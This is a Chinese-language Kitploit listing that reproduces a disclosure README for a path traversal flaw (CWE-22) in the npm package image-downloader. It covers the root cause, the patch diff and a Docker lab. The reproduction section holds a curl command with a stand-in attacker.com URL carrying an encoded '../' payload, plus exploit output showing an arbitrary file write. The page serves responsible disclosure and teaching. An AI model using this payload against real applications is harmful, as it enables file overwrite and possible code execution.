Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

订阅源联系隐私© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-103648 — CVE-2026-103648 的公告与 PoC,该漏洞是 image-downloader 4.3.0 中的路径遍历(CWE-22),可导致任意文件写入,包含根因分析、补丁差异和 Docker 实验环境。 | Kitploit
工具/GitHubGitHub/eternullsec/cve-2026-103648
漏洞扫描器漏洞分析漏洞利用Web应用程序漏洞利用渗透测试论文与研究学习与教育红队实验室与实践
GitHubeternullsec/cve-2026-103648

CVE-2026-103648

CVE-2026-103648 的公告与 PoC,该漏洞是 image-downloader 4.3.0 中的路径遍历(CWE-22),可导致任意文件写入,包含根因分析、补丁差异和 Docker 实验环境。

6小时44分前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
查看仓库
分享

CVE-2026-103648 — image-downloader 中的路径遍历漏洞

CVE CVSS CWE Package Status License

发现者:Amirhossein Roustaei (@EterNullSec) — Eternull Security

⚠️ 仅供教育目的。 本仓库记录了一个经负责任披露的漏洞。所有 PoC 代码仅用于授权的安全研究与测试,且仅限于隔离的实验环境。请勿对您不拥有或未获得明确书面测试许可的系统使用。


📋 安全公告摘要

字段详情
CVE IDCVE-2026-103648
NVD 条目nvd.nist.gov/vuln/detail/CVE-2026-103648
CVSS v3.1 评分9.1 严重 — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H
CWECWE-22:对路径名的限制不当导致目录遍历
软件包image-downloader(npm),作者 demsking
npm 每周下载量约 11,000 次(约 38,000 次/月)— 来源
受影响版本< 4.3.1(包括 4.3.0 在内的所有版本)
修复版本4.3.1
分配机构GitLab
发布日期2026-10-02
报告者Amirhossein Roustaei (@EterNullSec),Eternull Security

🔬 技术根因分析

该漏洞存在于 [email protected] 的文件名提取逻辑中。以下是受影响版本的实际源代码(index.js,直接取自已发布的 npm 包):

// [email protected] — index.js (actual source, unmodified)
module.exports.image = ({ extractFilename = true, ...options } = {}) => {
  if (!options.url) {
    return Promise.reject(new Error('The options.url is required'));
  }
  if (!options.dest) {
    return Promise.reject(new Error('The options.dest is required'));
  }

  if (extractFilename) {
    if (!path.extname(options.dest)) {
      const url = new URL(options.url);
      const pathname = url.pathname;
      const basename = path.basename(pathname);          // ❌ basename BEFORE decode
      const decodedBasename = decodeURIComponent(basename); // decode happens AFTER

      options.dest = path.join(options.dest, decodedBasename); // path.join resolves ".."
    }
  }
  // ...
  return request(options);
};

确切的缺陷

  1. path.basename(pathname) 是在仍处于百分号编码状态的 URL 路径名上调用的。像 %2e%2e%2fpwned.sh 这样的序列不包含字面量 /,因此 path.basename() 会将整个字符串视为单个文件名并原样返回——没有任何内容被剥离。
  2. 结果随后才被传入 decodeURIComponent()。正是这一步将 %2e%2e%2f 还原为字面量 ../——但此时它已经通过了本应净化它的 basename 步骤。
  3. path.join(options.dest, decodedBasename) 被调用时,字符串中已包含真实的 ../ 片段。path.join() 会像 cd .. 那样规范化 ..——因此最终写入路径解析到了 options.dest 之外的位置。

简而言之:代码以正确的方式解码文件名,只是相对于 path.basename() 的顺序错了。先解码再取 basename 是安全的;先取 basename 再解码则不安全。

最小触发条件

URL pathname:  /%2e%2e%2fpwned.sh
basename():    "%2e%2e%2fpwned.sh"        (unchanged — no literal '/')
decode:        "../pwned.sh"              (traversal now literal)
path.join(dest, "../pwned.sh")
            → resolves one directory ABOVE dest

CVSS 分解

Attack Vector:       Network   (AV:N)  — remotely triggerable
Attack Complexity:   Low       (AC:L)  — no special conditions
Privileges Required: None      (PR:N)  — no authentication needed
User Interaction:    None      (UI:N)  — fully automated
Scope:               Unchanged (S:U)
Confidentiality:     None      (C:N)
Integrity:           High      (I:H)   — arbitrary file write
Availability:        High      (A:H)   — overwrite critical files / DoS

🎯 攻击模型

本实验通过单个脚本端到端地演示了该缺陷的机制,以便于复现,但有必要明确说明真实世界的攻击模型:

  • 受害者:任何调用 image-downloader 的 download.image({ url, dest }) 且其 url 值并非完全由自身控制的应用程序——例如用户提交的 URL(头像/图片导入功能)、从 webhook 载荷中提取的 URL,或从 RSS/内容源读取的 URL。
  • 攻击者:控制(或能够重定向到)受害者 url 所指向的 HTTP 服务器,并控制该 URL 的路径部分——仅此一点就足够了,因为遍历存在于 URL 路径中(%2e%2e%2f...),而非响应体中。
  • 影响:受害者进程将攻击者选择的文件写入攻击者选择的路径,位于开发者预期目录之外——在具有广泛文件系统访问权限的容器或脚本中,这通常会升级为代码执行(例如覆盖 cron 文件、authorized_keys 文件,或应用程序稍后运行的可执行文件)。

在 exploit/exploit.py 中,攻击者和受害者角色被合并到一个脚本中以便于实验(它同时充当“受害者”服务器请求和攻击者控制的载荷服务器)。在真实的利用场景中,这是两个独立、无关的方——PoC 之所以这样构建,纯粹是为了让漏洞可以通过单条命令复现。


🧪 实验环境搭建

前置条件

  • Docker 与 Docker Compose 或 Node.js v18+
  • Python 3.x(用于漏洞利用脚本)

方案 A — Docker(推荐)

git clone https://github.com/EterNullSec/CVE-2026-103648.git
cd CVE-2026-103648
docker compose up --build

存在漏洞的服务器将可通过 http://localhost:3000 访问。

方案 B — 手动 Node.js

cd vulnerable-app/
npm install
node server.js

💥 复现步骤(PoC)

步骤 1 — 启动存在漏洞的服务器

cd vulnerable-app/
npm install
node server.js
# Server running on http://localhost:3000
# Download directory: /tmp/downloads/

步骤 2 — 运行漏洞利用

python3 exploit/exploit.py --target http://localhost:3000 --lhost 127.0.0.1

或使用 curl 手动执行(遍历存在于 URL 路径中,而非响应体中):

curl "http://localhost:3000/download?url=http://attacker.com/%2e%2e%2f%2e%2e%2ftmp%2fpwned.txt"

步骤 3 — 验证路径遍历

# Check that the file landed OUTSIDE /tmp/downloads/
ls -la /tmp/pwned.txt
cat /tmp/pwned.txt

📸 执行证明

$ python3 exploit/exploit.py --target http://localhost:3000 --lhost 127.0.0.1

[*] CVE-2026-103648 — image-downloader Path Traversal PoC
[*] Target      : http://localhost:3000
[*] Payload URL : http://127.0.0.1:8888/%2e%2e%2f%2e%2e%2ftmp%2fpwned_by_eternullsec.txt
[*] Serving payload file on port 8888...
[+] Request received by exploit HTTP server
[+] Exploit delivered. Verifying write...
[+] SUCCESS! File written to: /tmp/pwned_by_eternullsec.txt
[+] File contents: CVE-2026-103648 | Path Traversal | EterNullSec

🔧 补丁分析

已在 4.3.1 中修复(提交 fb44543)。以下是实际的修复后源代码:

// [email protected] — index.js (actual source, unmodified)
const filenameFromPathname = (pathname) => {
  const decoded = decodeURIComponent(pathname);   // ✅ decode FIRST

  if (decoded.includes('\0')) {
    throw invalidFilename('the URL path contains a NUL byte');
  }
  return path.basename(decoded);                  // ✅ THEN basename
};

const isInside = (file, directory) => {
  const relative = path.relative(directory, file);
  return relative !== '' &&
    relative !== '..' &&
    !relative.startsWith(`..${path.sep}`) &&
    !path.isAbsolute(relative);
};

// ... inside module.exports.image:
const resolved = path.join(directory, filenameFromPathname(new URL(options.url).pathname));

if (!isInside(resolved, directory)) {
  return Promise.reject(invalidFilename('the URL path does not resolve to a file inside options.dest'));
}

三层防御:

  1. 先解码再取 basename — 通过交换这两个操作的顺序,修复了确切的顺序缺陷。
  2. 拒绝 NUL 字节 — 防御某些文件系统系统调用上的文件名截断技巧。
  3. path.relative() 包含性检查 — 一道双保险验证,如果结果未严格解析到 dest 内部,则直接拒绝,即使未来的更改重新引入了顺序缺陷也能防护。

🕐 披露时间线

日期事件
2026-10-01预留 CVE(GitLab,作为 CNA)
2026-10-02在 [email protected] 中发布补丁
2026-10-02发布 CVE-2026-103648(MITRE/NVD)
2026-10-03公开发布 PoC 仓库和详细分析

📚 参考资料

  • CVE 记录 — cve.org
  • NVD 条目
  • GitLab Issue #32
  • 修复提交 fb44543
  • CWE-22 定义
  • OWASP 路径遍历
  • npm 软件包

👤 研究员

下载工具